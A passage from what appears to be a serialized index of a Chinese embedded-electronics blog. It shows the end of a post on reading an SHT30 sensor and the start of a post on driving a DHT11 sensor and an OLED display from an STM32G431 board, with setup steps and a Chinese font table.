class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.38\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"54.02\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e09.796\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.36\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.84\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e11.807\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.37\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.82\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e13.788\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token property\"\u003e\"Temperature\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"21.36\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"Humidity\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"53.71\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e手机上看一眼小米温湿度传感器的:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/res.webp\" style=\"zoom:67%;\" /\u003e\u003cp\u003e还行。\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"#参考链接\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.analog.com/cn/analog-dialogue/articles/i2c-communication-protocol-understanding-i2c-primer-pmbus-and-smbus.html\"\u003eI2C通信协议:了解I2C Primer、 PMBus和SMBus | 亚德诺半导体 (analog.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/m0_51429770/article/details/127661382?spm=1001.2014.3001.5506\"\u003eI2C协议介绍以及HAL库实现I2C对SHT30温湿度采样_hal i2c_HaiQinyanAN的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Yangtzey/article/details/129660763?spm=1001.2014.3001.5506\"\u003eIIC及配置应用(SHT30读取温湿度)_嵌不入的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_46251230/article/details/126722112?spm=1001.2014.3001.5506\"\u003eSTM32物联网项目-SHT30温湿度采集(IIC通信)_ONE_Day|的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://sensirion.com/media/documents/213E6A3B/63A5A569/Datasheet_SHT3x_DIS.pdf\"\u003e[Datasheet SHT3x-DIS]\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/f0c68eebb8a1\"\u003eCRC8校验 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e","url":"https://blog.ksfu.top/posts/6c49/"},{"title":"STM32温湿度测量与显示-单总线协议学习","time":"2023-05-18T15:55:06Z","content":"\u003ch1 id=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003ca href=\"#STM32温湿度测量与显示-单总线协议学习\" class=\"headerlink\" title=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003c/a\u003eSTM32温湿度测量与显示-单总线协议学习\u003c/\u003chr /\u003e\u003ch1 id=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003ca href=\"#STM32温湿度测量与显示-单总线协议学习\" class=\"headerlink\" title=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003c/a\u003eSTM32温湿度测量与显示-单总线协议学习\u003c/h1\u003e\u003cp\u003e为了验收个小玩意用一晚上搓了一个,比较氵。 \u003cdel\u003e那就氵篇博客算了。\u003c/del\u003e \u003c/p\u003e\u003cp\u003e手头正好有个ST的板子,型号是STM32G431KBT6,主频170M。刚好拿过来用了。(真好用啊,就是做这个有点浪费。\u003c/p\u003e\u003cp\u003e温湿度传感器使用 \u003cstrong\u003eDHT11\u003c/strong\u003e (单总线协议),屏幕是个IIC的小OLED,还用到了串口来看数据是否正确。(没了,确实氵。\u003c/p\u003e\u003cp\u003e效果图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/index.webp\" alt=\"效果图\" style=\"zoom: 33%;\" /\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"#准备\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003cp\u003e首先去官网下载 \u003cstrong\u003eSTM32G4xx\u003c/strong\u003e 的包。(\u003ca href=\"https://keilpack.azureedge.net/pack/Keil.STM32G4xx_DFP.1.5.0.pack\"\u003eKeil.STM32G4xx_DFP.1.5.0.pack\u003c/a\u003e)。官网直连下载很慢,很慢……\u003c/p\u003e\u003cp\u003e然后去CubeMX里面新建工程,因为是官方的板子,所以可以直接选择这块板子的模板创建。时钟设置170M(默认的)。选择一个没有中文的路径生成工程。\u003c/p\u003e\u003cp\u003e接下来的流程是:\u003c/p\u003e\u003cul\u003e\u003cli\u003e设置串口\u003c/li\u003e\u003cli\u003e驱动OLED屏幕\u003cul\u003e\u003cli\u003e重新配置延时函数\u003c/li\u003e\u003cli\u003e添加软件IIC\u003c/li\u003e\u003cli\u003e添加OLED驱动\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e驱动DHT11温湿度传感器(\u003cstrong\u003e单总线协议的学习\u003c/strong\u003e)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e因为使用的OLED驱动比较特殊,添加之后无法使用原来的 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 函数,需要按照该驱动的要求重新配置延时函数,之后使用其提供的 \u003ccode\u003edelay_ms()\u003c/code\u003e 和 \u003ccode\u003edelay_us()\u003c/code\u003e 两个函数代替 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 函数,当然实际上是方便不少的,因为 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 是毫秒级延时,所以直接使用上面两个函数可以让自己少写一个微秒的延时函数,具体原理可以参考\u003ca href=\"https://blog.ksfu.top/posts/463a/\"\u003e之前的一篇博客\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"具体实现\"\u003e\u003ca href=\"#具体实现\" class=\"headerlink\" title=\"具体实现\"\u003e\u003c/a\u003e具体实现\u003c/h2\u003e\u003ch3 id=\"串口设置\"\u003e\u003ca href=\"#串口设置\" class=\"headerlink\" title=\"串口设置\"\u003e\u003c/a\u003e串口设置\u003c/h3\u003e\u003cp\u003e串口的具体实现参考我之前的博客步骤:\u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e 。因为这次没有用到收的功能,所以只需要设置好发送功能即可。\u003c/p\u003e\u003cp\u003e本次使用USART1。其实 \u003cstrong\u003e更推荐\u003c/strong\u003e 使用USART2的,因为官方的板子上本身就有串口芯片,使用的USART2,这样用一根USB线连电脑上就可以同时供电,下载和查看串口数据了,不用自己再连一个USB转串口的模块了,还能腾出来两个引脚,这STM32G431KBT6的引脚是真的少。 \u003cdel\u003e(还是官方板子好用,就是贵\u003c/del\u003e\u003c/p\u003e\u003chr\u003e\u003cblockquote\u003e\u003cp\u003e\u003cdel\u003e)晚上要去重庆,剩下的具体流程就等下周回来再写了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e回来了,发现实习二面寄了,悲)\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003chr\u003e\u003ch3 id=\"驱动OLED屏幕\"\u003e\u003ca href=\"#驱动OLED屏幕\" class=\"headerlink\" title=\"驱动OLED屏幕\"\u003e\u003c/a\u003e驱动OLED屏幕\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e这一节可以略过。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e本次的驱动选自 \u003ca href=\"http://www.lcdwiki.com/zh/Main_Page\"\u003eLCD wiki\u003c/a\u003e 。\u003c/p\u003e\u003cp\u003e因为 LCD wiki 的驱动为gb2312编码,为了以后写的舒服,我先转换为了utf-8,具体可以参考:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.ksfu.top/posts/2d8a/\"\u003e批量转换文件编码gb2312转utf-8\u003c/a\u003e 。但是注意,代码里有中文的地方,比如 \u003ccode\u003etest.c\u003c/code\u003e,\u003ccode\u003eoledfont.h\u003c/code\u003e等文件需要保持原来的gb2312。\u003cdel\u003e(看见编译时候的编码报错真是心累呐\u003c/del\u003e\u003c/p\u003e\u003cp\u003eLCD wiki 的驱动使用标准库编写,放入HAL库的项目中会狠狠报错,所以要进行修改)我自己修改了一下,以后写一下修改过程emmm(咕咕\u003c/p\u003e\u003ch4 id=\"重新配置延时函数\"\u003e\u003ca href=\"#重新配置延时函数\" class=\"headerlink\" title=\"重新配置延时函数\"\u003e\u003c/a\u003e重新配置延时函数\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003esys.h\u003c/code\u003e , \u003ccode\u003esys.c\u003c/code\u003e , \u003ccode\u003edelay.h\u003c/code\u003e , \u003ccode\u003edelay.c\u003c/code\u003e ,注意修改里面包含的头文件为对应的 \u003ccode\u003e#include \u0026quot;stm32g4xx.h\u0026quot;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e之后在 \u003ccode\u003emain.c\u003c/code\u003e 里面进行初始化: \u003ccode\u003edelay_init();\u003c/code\u003e 初始化完成后以后的延时就用 \u003ccode\u003edelay_ms()\u003c/code\u003e 和 \u003ccode\u003edelay_us()\u003c/code\u003e 。\u003c/p\u003e\u003ch4 id=\"添加软件IIC\"\u003e\u003ca href=\"#添加软件IIC\" class=\"headerlink\" title=\"添加软件IIC\"\u003e\u003c/a\u003e添加软件IIC\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003eiic.c\u003c/code\u003e , \u003ccode\u003eiic.h\u003c/code\u003e ,注意修改里面 \u003ccode\u003eSCL\u003c/code\u003e 与 \u003ccode\u003eSDA\u003c/code\u003e 的引脚。本次分别使用 \u003ccode\u003ePA1\u003c/code\u003e , \u003ccode\u003ePA0\u003c/code\u003e 。\u003c/p\u003e\u003ch4 id=\"添加OLED驱动\"\u003e\u003ca href=\"#添加OLED驱动\" class=\"headerlink\" title=\"添加OLED驱动\"\u003e\u003c/a\u003e添加OLED驱动\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003ebmp.h\u003c/code\u003e , \u003ccode\u003egui.h\u003c/code\u003e , \u003ccode\u003egui.c\u003c/code\u003e , \u003ccode\u003eoled.c\u003c/code\u003e , \u003ccode\u003eoled.h\u003c/code\u003e , \u003ccode\u003eoledfont.h\u003c/code\u003e , \u003ccode\u003etest.c\u003c/code\u003e , \u003ccode\u003etest.h\u003c/code\u003e 。\u003c/p\u003e\u003cp\u003e这次所用的汉字取模保存至 \u003ccode\u003eoledfont.h\u003c/code\u003e 内,注意为gb2312编码。\u003c/p\u003e\u003cp\u003e取模使用 \u003ccode\u003ePCtoLCD2002\u003c/code\u003e ,为逐行式,顺向。考虑到屏幕大小,取模的大小为16×16。添加在 \u003ccode\u003econst typFNT_GB16 cfont16[]\u003c/code\u003e 的后面。如:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token string\"\u003e\"康\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x3F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xF8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x3F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xF8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xC4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xA8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x90\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x92\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x86\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\"康\"*/\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"师\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x0B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x09\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\"师\"*/\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"傅\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x0F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x17\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x37\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x54\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x97\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x1F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\"傅\"*/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e显示汉字使用 \u003ccode\u003eGUI_ShowCHinese(uint8_t x,uint8_t y,uint8_t hsize,uint8_t *str,uint8_t mode)\u003c/code\u003e ,使用实例如 \u003ccode\u003eGUI_ShowCHinese(40,2,16,\u0026quot;康师傅\u0026quot;,1);\u003c/code\u003e\u003c/p\u003e\u003cp\u003e该函数说明:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/***************************************************************************** * @name :void GUI_ShowCHinese(uint8_t x,uint8_t y,uint8_t hsize,uint8_t *str,uint8_t mode) * @date :2018-08-27 * @function :Display Chinese strings * @parameters :x:the bebinning x coordinate of the Chinese strings y:the bebinning y coordinate of the Chinese stringssize:the size of Chinese stringsstr:the start address of the Chinese stringsmode:0-white background and black character 1-black background and white character * @retvalue :None******************************************************************************/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e显示其他内容可以 结合\u003ccode\u003etest.c\u003c/code\u003e 中的实例与 \u003ccode\u003egui.c\u003c/code\u003e 